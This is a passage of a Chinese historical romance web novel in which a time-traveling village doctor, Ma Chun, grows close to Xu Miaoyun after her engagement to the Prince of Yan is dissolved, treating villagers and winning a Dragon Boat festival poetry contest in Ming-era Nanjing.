徐妙云手上动作一顿,耳根微微发烫。“马大夫医术高明,为人正直,是个难得的好大夫。”
徐达意味深长地看了女儿一眼。“只是个好大夫?”
“爹!”徐妙云羞恼地跺了跺脚,“您再这样,女儿就不理您了。”
徐达哈哈大笑,牵动了背上的伤口,忍不住“嘶”了一声。
徐妙云连忙上前搀扶:“您看您,伤口还没好全就乱动。”
父女俩相视一笑。
徐达忽然正色道:“妙云,为父明日要进宫面圣,退了与燕王的婚事。”
徐妙云低下头,手指绞着衣角,“女儿听凭父亲安排。”
“你放心,为父会请陛下下旨,说明是两家商议后的决定,绝不会影响你的名声。”徐达拍拍女儿的手,“至于马大夫那边……”
徐妙云猛地抬头,眼中闪过一丝慌乱,“爹,您别乱说。马大夫他……他对女儿并无他意。”
徐达笑而不语。
他活了半辈子,岂会看不出女儿的心思?
只是那马淳性子古怪,明明医术通天却甘于平淡,明明猜到了他们的身份却刻意保持距离。
这样的性子,要想让他主动,怕是难如登天。
“时候不早了,你去歇着吧。”徐达柔声道,“明日为父进宫,你就在家好好休息。”
徐妙云点点头,福身告退。
回到闺房后,她却辗转难眠。
推开窗户,月光如水般倾泻而下。
她望着远处隐约可见的小青村方向,心中百感交集。
那个青衫落拓的年轻大夫,此刻在做什么?
是在灯下研读医书,还是在为明日看诊做准备?
她想起那日在医馆时,马淳专注治病的侧脸。
那双清澈的眼睛里,仿佛盛着整个星空的宁静。
“马大夫……”她轻声呢喃,随即又摇摇头,自嘲地笑了。
她知道,以马淳的性子,越是明白彼此身份的差距,就越会退避三舍。可偏偏是这样的退避,最让人难以忘怀。
月光洒在她的脸上,映出一抹淡淡的愁绪。
……
翌日清晨,徐达早早便进宫面圣。
朱元璋在武英殿接见了他,两人密谈许久。
当徐达走出殿门时,脸上带着释然的笑意。
很快,一道圣旨传遍京城:燕王朱棣与徐府千金徐妙云的婚事,经两家商议后取消,缘由是八字不合。
皇帝特意强调,此事不影响两家情谊,徐小姐贤良淑德,日后婚嫁自由。
消息传到小青村时,马淳正在给村民看诊。
里正兴冲冲地跑来告诉他这个消息,他只是淡淡地“嗯”了一声,继续低头写药方。
里正挠挠头,有些不解。
“马大夫,您不觉得奇怪吗?这婚事说取消就取消了。”
马淳笔下不停,头也不抬地道:“皇家的事,咱们少打听为好。”
里正讪讪地退到一旁。
待病人走后,马淳才抬起头,望向京城方向,眼中闪过一丝复杂的情绪。
他知道,徐达这是在用行动向皇帝表明心迹。
而那位聪慧的徐小姐,此刻想必心情复杂吧?
摇摇头,马淳继续整理药材。
这些权贵间的纠葛,与他何干?他只想在这小村庄里,安安稳稳地做个大夫。
正想着,医馆门帘被掀开,一个熟悉的身影走了进来。
“马大夫,我又来叨扰了。”徐妙云一袭素衣,笑吟吟地站在门口。
阳光从她身后照进来,在地上投下一道纤细的影子。马淳怔了怔,随即起身相迎。
“徐小姐怎么来了?令尊的伤……”
“父亲大好,特意让我来谢谢马大夫。”徐妙云从袖中取出一个精致的荷包,“这是家父让我转交的谢礼。”
马淳接过荷包,入手沉甸甸的。打开一看,竟是一块上好的玉佩,雕着松鹤延年的图案。
“这太贵重了。”他合上荷包要退还。
徐妙云后退半步,眼中带着狡黠的笑意,“马大夫若是不收,家父会以为您嫌礼薄。”
马淳无奈,只得收下,“替我谢过徐伯父。”
徐妙云环顾医馆,目光落在药柜上,“马大夫近日可忙?”
“还好。”马淳指了指桌上的药包,“正要给村里的老人送药。”
“我陪您一起去吧。”徐妙云主动提议,“正好向您请教些医术。”
马淳本想拒绝,但看到她期待的眼神,终究没忍心,“也好,不过村里路不好走,徐小姐得多加小心。”
徐妙云嫣然一笑:“无妨,我穿的是便鞋。”
两人一前一后走出医馆。
阳光洒在村道上,映出两道长长的影子。一高一矮,一前一后,却莫名地和谐。
马淳走在前面,听着身后轻盈的脚步声,心中涌起一丝异样的感觉。
这个聪慧的女子,明明可以过着锦衣玉食的生活,却偏偏对医术算学感兴趣,甘愿跟着他走这乡间小路。
他摇摇头,甩开这些杂念。
不管徐妙云出于什么目的接近他,他都必须保持距离。
毕竟在这个时代,知道得越少,活得越久……
第29章 你们俩真般配
小青村的土路被前夜的雨水浸得松软,马淳的布鞋边缘沾了一圈泥浆。
他刻意放慢脚步,好让身后的徐妙云跟上。
“马大夫,这株开着紫花的是什么草药?”徐妙云提着裙角蹲在路边,指尖虚点着一丛野花。
马淳折返两步,衣摆扫过草叶上的露水。“这是黄芩,清热燥湿的良药。”
他弯腰掐下一段茎叶递过去,“您闻闻,有苦香。”
徐妙云接过时指尖与他轻触,立刻缩回手。
她低头嗅了嗅,发髻上的木钗随着动作轻晃,“确实苦,但苦里透着清冽。”
“徐小姐好嗅觉。”马淳转身继续前行,嘴角却微微扬起。
三里村路走了小半个时辰。
徐妙云每见一种陌生植物都要询问,马淳便停下来细细讲解。
若是常见药材,他便考校徐妙云前几日学的药性歌诀。
“黄连呢?”
“味苦寒,清热燥湿,泻火解毒。”徐妙云答得流利,眼睛亮晶晶的。
马淳点头赞许,从药囊里取出个油纸包,“这是给张阿婆的止咳散,您帮忙拿着可好?”
徐妙云双手接过,动作恭敬如捧圣旨。
纸包不重,她却觉得掌心发烫。
两人衣袖偶尔相擦,又迅速分开,始终保持着半臂距离。
转过一道田埂,泥路越发窄了。
马淳侧身让过挑粪的农人,下意识要扶徐妙云,手伸到半途又收回来,只轻声道:“当心脚下。”
徐妙云却已自己撩起裙裾,露出半截青布鞋面。
她踩过水洼时身姿轻盈,竟比京城贵女们踏青时还稳当。
“马大夫看!”她忽然指着田垄,“那些蓝花是……”
“半边莲。”马淳望着她沾了泥点的裙角,“治蛇伤有奇效。徐小姐竟认得?”
“您上回给的《本草图经》里有画。”徐妙云抿嘴一笑,“我临摹了三遍呢。”
日头渐高,马淳从药囊取出竹筒递过去,“山泉水,干净的。”
徐妙云道谢接过,小口啜饮时喉间微微滚动。
她递还竹筒时,袖口滑落,露出手腕内侧一点朱砂痣。
马淳匆忙移开视线,指着前方茅屋道:“到了。”
张阿婆的咳嗽声隔着柴门都能听见。
见马淳来了,老人撑着矮凳要起身,被徐妙云快步扶住。
“这闺女俊的……”张阿婆眯着眼打量,“小马大夫娶媳妇了?”
徐妙云耳根通红,退后半步福了福身。
马淳轻咳一声,取出脉枕:“阿婆别开玩笑,这是城里来的徐小姐,跟着学医的。”
张阿婆却眯眼笑着对徐妙云道:“徐小姐,不是老婆子多嘴,您别看我们小马大夫是村里的郎中,心底好着哩。医术又高人又好,长得还俊,给我们这些老婆子看病从来都不诊金,还天天送药、隔三岔五还做啥健康检查,你说到哪去找这么好的人。我看你们真般配。”
一席话说得马淳和徐妙云都脸红了。
马淳耳尖都红了,还不忘道:“阿婆啊,您可别乱点鸳鸯谱。现在要给您诊脉了,不可以说话了。”
张阿婆不说话,却用慈爱的眼神看着徐妙云,还冲马淳的耳尖努努嘴,那意思是,小马大夫害羞了。
徐妙云在边上噗嗤一声乐出声来,搞得马淳更加目不斜视。
诊脉时徐妙云安静立在门边,却在马淳写药方时忽然开口:“阿婆舌苔白腻,要不要加些苍术?”
马淳笔尖一顿,抬头见她眼神忐忑,便温声道:“说得对。”
他蘸墨补上一味药,又对张阿婆解释:“苍术燥湿健脾,正对症。”
离开时张阿婆硬塞来两个煮鸡蛋。
马淳推辞不过,分给徐妙云一个。
蛋壳还烫着,两人就站在篱笆边剥着吃了。
“马大夫。”徐妙云忽然指着远处山坡,“那些白花是……”
“野山菊。”马淳望着她沾了蛋黄碎屑的嘴角,忍住掏帕子的冲动,“能明目降压。”
返程时云层渐厚。
马淳抬头看天:“要下雨了,我们走快些。”
徐妙云却停在溪边石阶上,“马大夫,这石头缝里长的……”
豆大的雨点砸下来时,马淳正讲到苔藓的药用价值。
他急忙脱下外衫撑在两人头顶,徐妙云却已淋湿了半边袖子。
青布衫子透出里衣的浅色,她慌忙环住手臂。
“前头有座土地庙!”马淳引着她跑进檐下,衣衫还滴着水。
庙小得只容两人侧身而立,香火味混着徐妙云发间的茉莉头油香,熏得人头晕。
雨帘隔绝了外界,徐妙云忽然轻声道:“其实我知道要下雨。”
“嗯?”
“今早出门前,我观了天象。”她低头绞着湿袖口,“但听您讲药草……就忘了提醒。”
马淳望着她睫毛上将落未落的水珠,胸口像被什么撞了一下。
庙檐滴水声渐渐连成线,他却听见自己心跳如擂鼓。
雨势稍缓时,徐妙云坚持要把马淳的衣衫还他。
推让间她的指尖划过他掌心,两人都触电般缩回手。
最终那件半干的外衫还是搭在了马淳臂弯,带着若有若无的茉莉香。
回医馆的路格外安静。
徐妙云不再问草药,马淳也不提避雨时的窘迫。
直到看见医馆的茅草屋顶,她才轻声问:“明日……还能跟您出诊吗?”
马淳掸了掸药囊上的水珠,声音比平时柔和:“若徐小姐不嫌枯燥,随时都可来。”
徐妙云嗯了一声。
……
雨后的青石板路上,徐妙云的绣鞋踏出细碎水花。
她提着裙角跨过门槛时,正撞上倚在廊柱边的徐妙锦。
“姐姐这是去哪儿了?”徐妙锦捻着辫梢,眼睛弯成月牙,“鞋边沾的可是小青村特有的红泥?”
徐妙云耳根一热,将药囊往身后藏了藏。“去采些草药。”
“哦——”徐妙锦拖长声调,凑近嗅了嗅,“奇怪,这草药怎么有股墨香?莫非姐姐改行当女先生了?”
“胡说什么!”徐妙云作势要拧妹妹的脸,徐妙锦早已笑着跳开。
姐妹俩追打着穿过回廊,惊飞檐下几只麻雀。
徐妙锦边跑边回头喊:“姐姐脸红了!定是去见那位马大夫!”
前院突然传来脚步声。
徐辉祖和徐增寿并肩走来,铠甲未卸,额上还带着汗。
“大姐、四妹闹什么呢?”徐增寿一把拦住徐妙锦,“老远就听见笑声。”
徐妙锦趁机躲到三哥身后,探出头道:“姐姐从小青村回来,正恼我猜中她心思呢!”
……
第30章 咱们兄弟永远同心
徐辉祖解下佩刀递给小厮,闻言皱眉:“大姐又去叨扰马大夫了?”
“父亲让我送谢礼。”徐妙云理了理鬓发,声音低下去,“顺道请教些医术。”
徐增寿拍掌:“说到马大夫,今日都督府都在传,他治好了父亲背疽!”
他转向兄长,“二哥,咱们该登门拜谢才是。”
徐辉祖点头:“正有此意。父亲交还兵权后,皇上特意召我们勉励,说徐家忠勇体国。”他压低声音,“其实父亲这病来得正是时候。”
廊下四人一时沉默。
徐妙锦忽然拽了拽姐姐袖子:“马大夫长得俊吧?我瞅着特俊呢。”
“徐妙锦!”徐妙云羞恼地跺脚,却见两个兄弟都望过来,顿时连脖颈都红了。
徐增寿哈哈大笑:“小妹这话问得好!大姐若不好意思说,明日我们亲自去看看。”
“别胡闹。”徐辉祖轻咳一声,“马大夫是父亲恩人,咱们要郑重道谢。”他看向大姐,“大姐,父亲可说了何时再去复诊?”
徐妙云低头数着裙上绣花:“七日后。”
“那便七日后同去。”徐辉祖一锤定音,“备些实在谢礼,别学那些虚礼。”
徐妙锦挤挤眼睛:“姐姐怎么不说话了?莫非嫌我们碍事?”
徐妙云转身就往内院走,身后传来弟妹们的笑声。她越走越快,却在转角处被徐增寿追上。
“大姐。”三弟难得正经,“父亲今早说,退了燕王府的亲事后,你的婚事全凭自己心意。”他挠挠头,“我瞧马大夫挺好。”
徐妙云猛地抬头,夜色掩住了她发烫的脸颊,“三弟慎言!马大夫他……我们不过是学医问药的交情。”
徐增寿嘿嘿一笑,从怀里掏出个油纸包。“小青村王记的桂花糕,特意绕路买的。”
他塞给姐姐,“那地方偏得很,就这家糕点还像样。”
徐妙云捧着尚有温热的纸包,想起马淳给张阿婆写药方时,袖口沾到的墨痕。
那样专注的侧脸,连发梢垂落都未察觉。
“谢谢三弟。”她轻声道。
回到闺房后,徐妙云将桂花糕放在案头。
窗外月光透过梨树枝桠,在青砖地上画出斑驳影子。
她取出白日里马淳给的黄芩茎叶,小心夹进《本草图经》扉页。
指尖抚过书页时,忽然碰到个硬物。
翻开来,竟是半张药方——正是马淳今日补苍术时写废的那张。
她当时悄悄收了起来,此刻对着灯细看,墨迹力透纸背。
徐妙云将药方贴在胸口,听见自己心跳如擂鼓。
翌日清晨,徐妙锦风风火火闯进来。
“姐姐快看!”她抖开一件天青色长衫,“三哥找裁缝连夜改的,说是谢礼之一。”
第31章 大姐对医馆怎么这么熟悉
与此同时,徐府内院却是一片静谧。
徐妙云独坐窗前,就着烛光翻阅医书。书页间夹着的半张药方偶尔露出边角,她便会心一笑。
丫鬟轻手轻脚进来添茶,小声道:“小姐,三更天了,该歇息了。”
“再等等。”徐妙云头也不抬,“我把这章看完。”
丫鬟欲言又止,最终还是退了出去。
院外传来更鼓声,徐妙云终于合上书卷。她走到妆台前,从抽屉里取出个锦囊,里面装着马淳给她的黄芩茎叶。
指尖轻抚过干燥的叶片,她想起今日在小青村的点点滴滴。马淳讲解药性时的专注神情,为她挡雨时的慌乱模样,还有分别时那句“随时可来”的温柔承诺。
徐妙云将锦囊贴在胸口,感受着加速的心跳。
忽然,窗外传来轻微的响动。她警觉地抬头,只见徐妙锦猫着腰溜过回廊,手里还提着个食盒。
“四妹!”徐妙云推开窗子低唤。
徐妙锦吓了一跳,食盒差点脱手。她吐了吐舌头,凑过来小声道:“姐姐还没睡?正好,我从厨房偷了桂花糕,分你一半。”
徐妙云无奈摇头:“这么晚还吃甜食,仔细牙疼。”
“不管了。”徐妙锦钻进屋里,将食盒往桌上一放,“三哥说小青村的王记桂花糕好吃,我偏不信,定要尝尝咱们府里的。”
她掰开糕点,忽然瞥见姐姐手中的锦囊,眼珠一转:“这是……马大夫给的?”
徐妙云急忙将锦囊收进袖中,耳根却已红了。
徐妙锦嘿嘿一笑,凑近道:“姐姐,我今日听说,马大夫那医馆可神奇了。有不用火就能亮的灯,还有会自己转的捣药器。”
“别胡说。”徐妙云轻斥,却忍不住追问,“你还听说了什么?”
“说马大夫治病时专注得很,连茶水凉了都不察觉。”徐妙锦眨眨眼,“姐姐今日不是去了吗?可亲眼见过那些奇物?”
徐妙云想起马淳医馆里那些古怪器具,确实闻所未闻。
但她只是淡淡道:“马大夫医术高明,有些独门工具也不足为奇。”
徐妙锦撇撇嘴,忽然压低声音:“姐姐,父亲真要把你许给马大夫?”
“徐妙锦!”徐妙云羞恼地拍案而起,“再胡说八道,我告诉父亲去!”
“别别别!”徐妙锦连忙讨饶,“我错了还不行吗?”
姐妹俩笑闹一阵,徐妙锦忽然正色道:“说真的,姐姐喜欢马大夫吧?”
烛光下,徐妙云的脸红得像熟透的苹果。
她低头摆弄衣角,轻声道:“他……他是个好人。”
徐妙锦噗嗤一笑:“这算什么回答?不过嘛……”她凑到姐姐耳边,“马大夫确实比燕王有意思多了。”
“四妹!”徐妙云作势要打,徐妙锦早已笑着逃开。
七日后,徐家车队浩浩荡荡出发。
徐辉祖骑马在前,徐增寿押着几车礼物殿后。
第32章 名利非我所求
四月底的雨来得急,去得也快。
小青村的土路被雨水浸透,踩上去便陷出一个个泥脚印。
马淳站在医馆檐下,望着阴沉沉的天色,眉头微皱。
这样的天气最容易生病,尤其是村里的老人和孩子,稍不注意就会染上风寒。
“马大夫,茶汤熬好了。”
徐妙云端着一碗热气腾腾的药茶从后院走来。
她今日穿了件素色布裙,发间只簪一支木钗,袖口挽到手肘,露出纤细的手腕。
几日下来,她已习惯了医馆的忙碌,动作也比初来时利落许多。
马淳接过茶碗,指尖不经意碰到她的手背,两人皆是一顿,又各自若无其事地移开视线。
“多谢徐小姐。”他低头抿了一口,茶汤微苦,却带着一丝回甘,“药量正好。”
徐妙云浅浅一笑,转身又去灶台边忙碌。
她做事极有条理,一边熬煮新一锅茶汤,一边将晾晒好的药材分类收进药柜。
村民们起初还对她这位“千金小姐”颇为拘谨,如今却已习惯她跟在马淳身边帮忙,甚至有人打趣道:“小马大夫,你这徒弟收得好,又勤快又标致!”
马淳只当没听见,低头继续写药方。
徐妙云却不在意这些玩笑,她做事时总是专注,仿佛真的只是一心学医。
可偶尔,当马淳不经意抬头时,会发现她的目光正静静落在他身上,见他看过来,便又若无其事地移开。
“马大夫,张阿婆家的药包备好了。”她将几个油纸包递过来,声音轻柔,“我按您说的,多加了一味苍术,祛湿效果更好。”
马淳点头:“徐小姐记性很好。”
徐妙云抿唇一笑,没再多言。
两人正忙着,里正匆匆跑来,额上还挂着汗珠:“小马大夫,村东头李家的娃儿发热了,浑身滚烫,还咳得厉害!”
马淳立刻放下笔:“我这就去。”
徐妙云已熟练地收拾好药箱,递到他手中:“我陪您一起。”
马淳本想拒绝,可对上她坚定的眼神,终究点了点头。
李家的小院挤满了人。孩子不过五六岁,此刻正蜷缩在炕上,小脸烧得通红,呼吸急促。
孩子的母亲急得直掉眼泪,见马淳来了,连忙让开位置:“小马大夫,您快看看!”
马淳俯身探了探孩子的额头,又掰开他的嘴看了看舌苔,眉头越皱越紧:“湿热内蕴,加上受了风寒,得赶紧退烧。”
他从药箱取出银针,消毒后迅速在孩子的手腕和颈后扎了几针。
孩子起初还挣扎哭闹,可渐渐地,呼吸平稳下来,咳嗽也减轻了。
“烧暂时退了,但还得喝药。”马淳收起银针,转头对徐妙云道,“徐小姐,麻烦你去熬一副清热祛湿的汤药。”
徐妙云点头,立刻去灶台边生火。
第33章 古代伟哥吃多了!
五月的应天府已经热了起来。
秦淮河边的柳枝垂到水面,蝉鸣声从早到晚响个不停。
马淳蹲在医馆后院的药房里,手里碾着雄黄粉。
瓦盆里的药末散发出刺鼻气味,他额头上全是汗。
“银环蛇、五步蛇、竹叶青......”马淳数着手指念叨。
应天府周边毒蛇不少,端阳前后正是它们最活跃的时候。
他抹了把汗,把碾好的雄黄粉装进瓷瓶。
系统商城的界面在眼前展开。
马淳犹豫片刻,还是花两千积分换了十支血清。
玻璃管在阳光下泛着冷光,他把它们小心收进小型低温箱夹层。
这些宝贝能对付本地常见的几种蛇毒,虽然贵,但值得。
前院传来脚步声。
马淳刚抬头,就看到徐妙云提着裙角跨过门槛。
她今天穿了件淡绿色的衫子,发间簪着新摘的石榴花。
“马大夫还在忙?”徐妙云笑盈盈地站在药架前,“城里今天可热闹了,龙舟都下水了。”
马淳手上不停:“徐小姐去看便是,我这还有几副药要配。”
“你总这样闷着怎么行。”徐妙云走近两步,手指划过药柜上的瓷罐,“来京城这些日子,你可曾好好逛过?”
马淳摇头。
他来应天后确实没怎么出门,不是坐诊就是采药。
但想到端午街上人多拥挤,他更愿意待在医馆。
徐妙云忽然按住他捣药的手:“走吧,就当陪我。听说夫子庙前有杂耍,还有西域来的商人卖稀奇玩意。”
她的指尖微凉,马淳下意识缩了手。
瓷杵掉在碾槽里,发出清脆的碰撞声。
“我......”
“别推辞了。”徐妙云转身取下墙上的药箱,“知道你放不下这些,带上便是。”
马淳看着她熟练地检查药箱里的物品,叹了口气。
这位国公府的小姐向来有主见,他拗不过。
“稍等。”马淳走到里屋,把刚配好的雄黄粉和血清都装好,又抓了几样常用药材。
两人走出医馆时,上了马车,来到京城。
下了马车,街上已是人声鼎沸。
沿街店铺挂起艾草和菖蒲,小贩吆喝着卖香囊和五彩绳。
孩童们手腕系着丝线,追逐打闹。
徐妙云指着远处:“看那边。“
夫子庙前的空地上,几个西域艺人正在表演吞火。
围观百姓发出阵阵惊呼。
旁边摊位上摆着琉璃瓶、犀角杯等稀罕物件,在阳光下闪闪发亮。
马淳的目光却被药摊吸引。
他走近查看,发现几味难得的药材。
“这位公子好眼力。“摊主笑道,“都是南洋来的珍品。“
马淳拿起一块沉香细嗅,眉头微皱:“这香受过潮。“
摊主脸色一变:“公子说笑了。“
徐妙云在旁轻笑:“马大夫是行家,你可骗不过他。“
两人沿着秦淮河漫步。河面上龙舟竞渡,鼓声震天。岸边百姓呐喊助威,热闹非凡。
徐妙云忽然指向一处:“那里人少些。“
他们走到河畔柳树下。徐妙云从袖中取出个香囊:“给你的。“
马淳接过香囊,闻到淡淡药香。
“里面是雄黄、苍术和艾叶。“徐妙云低头整理衣袖,“端午佩戴可避邪祟。“
马淳握紧香囊:“多谢。“
河风拂过,吹动徐妙云的发丝。她望着远处的龙舟,侧脸在阳光下格外柔和。
“马大夫。“她忽然开口,“若有一天你离开应天,会告诉我吗?“
马淳一怔:“为何这么问?“
“只是......“徐妙云转头看他,眼中情绪复杂,“觉得你像天上的云,随时可能飘走。“
马淳沉默片刻:“我不会不告而别。“
徐妙云笑了,眼角微微弯起:“那就好。“
远处夫子庙前人头攒动,隐约传来朗朗诵诗声。
“那边在做什么?”马淳立刻转移话题地问道。
徐妙云顺着他的目光望去,眼中闪过一丝笑意。
“国子监在办诗词会,礼部的大人们都在呢。听说头名能得一块御赐端砚,还能入礼部侍郎的眼。”她顿了顿,轻声道,“马大夫可有兴趣?”
明朝科举始于洪武三年,但因取士效果不理想,洪武六年一度停罢,直至洪武十五年,也就是到如今,科举都未曾恢复。
科举停罢期间,朝廷选官的方式,主要是荐举制,类似汉朝察举。
故而每年的上元、端阳、中秋几个重大节日,在京城和地方重要州府都会举行一些文化活动。
能在这种文化活动上拔得头筹的青年才俊,往往会获得一些特殊的推荐,甚至有可能因此当官。
故而在文化活动上露脸,就成为了青年才俊一年一度的表现机会。
马淳摇头。“我不过是个郎中,哪懂这些。”
徐妙云却不依,伸手拉住他的袖子,“我瞧你医馆里摆着不少诗文集,平日定是常看的。再者……”她声音渐低,“就当让我开开眼界。”
马淳被她拉着往人群走去,无奈道:“徐小姐高看我了。”
台下本就人群拥挤,为了大量的青年才俊,徐妙云的美貌一度引起关注。
爱美之心人皆有之,众人本就嫉妒马淳身边有美人在侧,而今听得他说自己只是个郎中时,便有人发出哂笑。
“乡野土郎中果然有自知之明,夫子庙前的文会岂是你这下等人能参与,滚开,挡了本少爷的路推给你打断。”那锦缎青年很不客气。
徐妙云一听,回头瞪了他一眼,刚要训斥,马淳已经先将她护在身后,直接看向这青年。
马淳虽生性淡泊,却不是懦弱。
他目光平静地打量着对方。
这青年约莫二十出头,面色青白,眼下挂着两团乌青。
虽然用香粉遮掩,却盖不住那股从内而外透出的颓靡之气。
马淳声音不疾不徐,“这位公子,你印堂发暗,眼白泛黄,呼吸短促。方才说话时,舌苔厚腻发白,齿龈暗紫。若我没猜错,你近来时常头晕目眩,腰膝酸软,夜间盗汗。“
青年脸色一变,下意识后退半步。
马淳上前一步,鼻翼微动:“你身上有青楼常用的胭脂味,混合着助兴的五石散药气。这种药性燥热,久服伤肾。你右手拇指与食指间有墨渍,却非读书写字所染,而是赌坊骰子上的颜料。“
围观人群中爆发出一阵窃窃私语。
青年脸色由白转红,又由红转青。
“你、你血口喷人!“青年声音发颤,指着马淳的手指也在发抖,“我四叔在刑部任职,你可知污蔑读书人是什么罪名?“
徐妙云站在马淳身侧,眼中闪烁着异样的光彩。
她从未见过马淳这般锋芒毕露的模样。
马淳轻笑一声:“前段时间,陛下曾下诏,严禁士子狎妓。你既是读书人,更当洁身自好。如今这副模样,分明是纵欲过度,肾气亏损。若不信,可敢让我诊脉?“
青年额头渗出冷汗。
他确实昨夜在醉仙楼厮混到天明,服了助兴药物。
此刻被当众揭穿,顿时恼羞成怒。
“来人!把这狂徒给我拿下!“青年厉声喝道。
人群中挤出两个家丁模样的壮汉,气势汹汹地朝马淳扑来。
徐妙云柳眉倒竖,正要上前,却被马淳挡在身前……
第34章 一首诗作夺得第一名
就在两个家丁扑来的瞬间,一声厉喝从人群外传来。
“陛下明令禁止士子狎妓,尔等竟敢公然违反禁令,拿下!”
围观百姓如潮水般分开,露出几个身着飞鱼服的锦衣卫。为首的百户面色冷峻,腰间绣春刀泛着寒光。
那青年顿时面如土色,双腿一软跪倒在地:“大人饶命!学生知错了!”
锦衣卫不由分说将他架起,连带着两个家丁一并拖走。整个过程干脆利落,没有半句废话。
马淳悄悄将手心里准备好的麻药收回袖中。他原本打算在家丁近身时撒出去,现在看来用不上了。
徐妙云轻轻扯了扯他的衣袖:“我们走吧。”
两人默契地没有多言,转身离开这是非之地。在这应天府,有些事情知道得越少越好。
沿着秦淮河走出一段距离,喧嚣声渐渐远去。徐妙云忽然停下脚步,眼睛亮晶晶地看着马淳。
“方才你可真厉害,一眼就看出那人底细。”
马淳摇头:“不过是望诊基本功。那人面色青白,眼带血丝,明眼人都能看出纵欲过度。”
徐妙云抿嘴一笑:“可没几个人敢当众揭穿。你就不怕他报复?”
“医者仁心,见人误入歧途,总要提醒一句。”马淳道。
河风吹拂柳枝,在水面划出细碎波纹。
徐妙云忽然指向不远处一座凉亭:“去那边坐坐可好?”
凉亭里空无一人,石桌上还留着半壶冷茶。徐妙云从袖中取出帕子,仔细擦拭石凳。
“马大夫,我有个不情之请。”
马淳抬眼望去,见她神色认真,不由坐直了身子。
“徐小姐请讲。”
“方才那文会,我想看你参加。”徐妙云眼中闪着期待,“以你的才学,定能拔得头筹。”
马淳失笑:“我不过略通医理,哪懂什么诗词歌赋。”
徐妙云却不依:“你医馆里那些诗集我都翻过,上面批注见解独到。再说……”她声音渐低,“也好让我在别人面前显摆显摆嘛。”
马淳正要推辞,忽听亭外传来脚步声。
一个身着儒衫的老者拄杖而来,身后跟着两个书童。
“二位可是要参加文会?老朽方才路过,听得这位公子医术精湛,不知可愿移步一叙?”
老者须发皆白,眉目慈祥,腰间却悬着一方金鱼袋。
马淳心头一跳,这分明是朝廷重臣的标识。
徐妙云悄悄扯了扯他的衣角,眼中满是鼓励。
马淳起身行礼:“晚辈粗通医理,不敢当精湛二字。至于诗词,更是门外汉。”
老者抚须微笑:“医者仁心,方才公子仗义执言,老朽都看在眼里。今日文会不拘一格,公子若有兴趣,不妨一试。”
徐妙云轻轻推了推马淳的胳膊:“去试试吧。”
马淳摇头:“我本无意……”
“就当为了我。”徐妙云眼睛亮晶晶的,“我想看。”
马淳望着她期待的眼神,终究叹了口气,走向案前。
夫子庙前人头攒动。
礼部官员正在宣布比试规则:“今日以‘端阳’为题,诗词歌赋皆可。限一炷香时间。”
侍从点燃线香,青烟袅袅升起。参赛者或蹙眉苦思,或挥毫泼墨。
马淳被安排在末座,面前铺开一张雪浪笺。
徐妙云站在他身侧,轻声道:“就当写药方。”
他提笔蘸墨,笔尖悬在宣纸上方顿了顿。
窗外忽然刮进一阵风,卷着几片艾叶落在案头。马淳抬头望去,透过窗棂看见阴沉的天色。远处龙舟竞渡的鼓声隐约传来,与夫子庙中的诵经声交织在一起。
他忽然想起那个独自徘徊汨罗江畔的身影。
笔尖落下,墨迹在纸上晕开。
“风雨端阳生晦暝,汨罗无处吊英灵。海榴花发应相笑,无酒渊明亦独醒。”
徐妙云站在他身后,看着纸上字迹,眼睛越来越亮。这诗写的不正是马淳自己吗?在这纷扰世间,他就像独醒的陶渊明,守着本心,不为名利所动。
她忍不住轻声念出来:“无酒渊明亦独醒……”
马淳搁下笔,有些不好意思地别过脸:“随手涂鸦,让徐小姐见笑了。”
徐妙云却将诗笺小心捧起,生怕墨迹未干蹭花了。她指尖微微发抖,仿佛捧着的不是一张纸,而是稀世珍宝。
礼部侍郎正在一一品评诗作。读到马淳这首时,他忽然停下捋须的手,眉头微皱又舒展,最后竟拍案叫好。
“好一个‘无酒渊明亦独醒’!此诗意境高远,用典精妙,当为今日魁首!”
人群爆发出一阵喝彩。马淳被请上高台,接受众人祝贺。礼部侍郎亲自将御赐端砚递到他手中:“公子大才,不知可愿为国效力?”
礼部侍郎将御赐端砚递到马淳手中时,眼中满是惋惜。“公子大才,当真不愿为国效力?”
马淳双手接过端砚,触手冰凉细腻,是上好的歙砚。他微微欠身:“大人抬爱,在下不过粗通医理,治病救人才是本分。”
侍郎摇头叹息,却也不再勉强。
马淳转身走向人群外围的徐妙云。她正踮着脚尖张望,见他过来,眼睛一亮。
“送给你。”马淳将端砚递过去。
徐妙云愣住了,手指悬在半空。“这、这是御赐之物……”
“我用不上。”马淳声音很轻,“你平日爱写字,正好合用。”
徐妙云接过端砚时,指尖微微发抖。阳光透过树叶间隙,在她脸上投下斑驳光影。她耳尖红得几乎透明,像是能滴出血来。
“谢谢。”她声音细如蚊呐,将端砚紧紧抱在胸前。
远处传来阵阵喝彩声,秦淮河畔的射柳比赛正热闹。徐妙云抬头:“要去看看吗?”
马淳点头。两人沿着河岸走去,谁都没提方才的事。
射柳场上,十几个锦衣少年挽弓搭箭。柳枝悬在十步开外,细如发丝,在风中摇曳。
“那是吉安侯家的三公子。”徐妙云指着场中一个紫衣少年,“旁边穿蓝衫的是武定侯的侄子。”
马淳顺着她手指方向看去,发现那些少年都在偷瞄这边。
目光相接时,有人慌忙别过脸,有人则挑衅般抬高下巴。
一个身材魁梧的青年大步走来,腰间玉带在阳光下闪闪发亮。“徐小姐也来观赛?”他拱手行礼,眼睛却盯着马淳,“这位是?”
“马大夫。”徐妙云声音平静,“治好了家父背疽的神医。”
青年眼中闪过一丝讶异,随即抱拳:“久仰。在下郑亨,家父常提起马大夫妙手回春。”
马淳还礼,心下了然。这位应该是某个侯爵家的公子,难怪举止沉稳。
郑亨笑道:“马大夫可要试试射柳?今日彩头是西域进贡的夜明珠。”
没等马淳回答,旁边几个少年已经围了过来。
“郑兄说笑了。”一个瘦高个阴阳怪气道,“马大夫是拿银针的手,哪拉得开硬弓?”
“就是。”另一个圆脸少年附和,“大夫就该好好看病,来这凑什么热闹。”
徐妙云眉头一皱,正要开口,马淳却轻轻摇头……
第35章 五步蛇伤人
“诸位说得对。”马淳语气平和,“在下确实不善骑射。医者以银针为剑,以药石为矢,救死扶伤便是本分。”
郑亨眼中闪过一丝赞赏,那几个少年却像一拳打在棉花上,悻悻地走开了。
徐妙云小声道:“他们故意的。因为……”
她忽然住口,耳根又红了。
马淳了然。
这些勋贵子弟嫉妒他能与徐妙云同行,却又碍于身份不能明说。
毕竟徐妙云曾是燕王未婚妻,如今退了婚,自然又成了众人眼中的香饽饽。
“无妨。”马淳笑了笑,“我们去别处看看。”
两人正要离开,场中忽然一阵骚动。
